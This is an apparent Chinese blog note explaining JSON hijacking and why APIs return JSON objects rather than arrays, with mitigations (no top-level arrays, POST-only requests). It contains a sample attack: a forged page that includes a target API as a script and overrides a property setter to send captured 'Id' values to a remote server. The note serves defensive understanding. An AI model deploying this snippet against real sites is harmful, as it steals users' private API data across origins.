在进行api请求时,返回的json,必须是object,而不能是array,这在很多框架里都被限定死了,当然通常你也可以自己json.encode(),然后返回一个字符串,来绕过框架的保护。那为什么api返回的结果一定要是对象,而不能是数组呢?
网上很容易找到《JSON Hijacking》,这里记录一下原理。
基于两点理由:
1. 以[]包起来的数组格式合乎js语法,能够被正确执行,而以{}包起来的对象,则不能被正确执行。
于是我们就可以伪造一个网站,然后将要攻击的目标网站的api请求作为js文件来引用:
<script type="text/javascript" src="http://example.com/api/xxx"></script>
如果返回结果是array,会被当成js成功执行,如果是object,执行就会失败,chrome下的console里,会出现红色的一行:
Uncaught SyntaxError: Unexpected token ':'
2. 通过重载js的set,我们可以截获特定key被set时的值
假如返回的结果如下:
[{
"Id": 123,
"Name": "zhangsan"
}, {
"Id": 456,
"Name": "lisi"
}]
我们想截获Id,举例代码:
<script type="text/javascript">
Object.prototype.__defineSetter__('Id', function (obj) {
send_to_remote_server('Id:', obj);
});
</script>
基于以上两点,用户在访问一个伪造网站时,间接请求了目标站点的api,通过重载set,拿到了目标站点返回的结果。
解决方案两种,选择其一即可,显然第一条更容易办到:
1. 杜绝返回数组类型的json
2. api请求只接收POST请求,不接收GET请求
注意:现在的浏览器均避免了这种攻击方式,但老版本的一些浏览器依然存在这个问题。